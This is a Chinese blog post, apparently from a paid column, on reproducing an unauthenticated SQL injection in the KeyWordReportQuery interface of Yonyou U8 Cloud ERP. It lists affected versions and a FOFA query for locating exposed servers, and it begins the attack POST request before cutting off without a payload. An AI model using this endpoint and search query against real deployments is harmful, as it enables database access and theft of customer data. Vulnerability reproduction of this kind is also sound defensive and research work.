用友U8 Cloud KeyWordReportQuery SQL注入漏洞复现

0xSecl

已于 2024-02-27 18:13:41 修改

阅读量513

点赞数 3

分类专栏：漏洞复现v1 文章标签：安全 web安全

于 2024-02-27 18:12:50 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/136328898

版权

1001 篇文章 1677 订阅 ¥9.90 ¥99.00

订阅专栏

用友U8 Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案

用友U8 Cloud KeyWordReportQuery接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

U8 cloud 2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

FOFA：app="用友-U8-Cloud"

POST /service/~iufo/nc.itf.iufo.mobilereport.data.KeyWordReportQuery HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows N

了解本专栏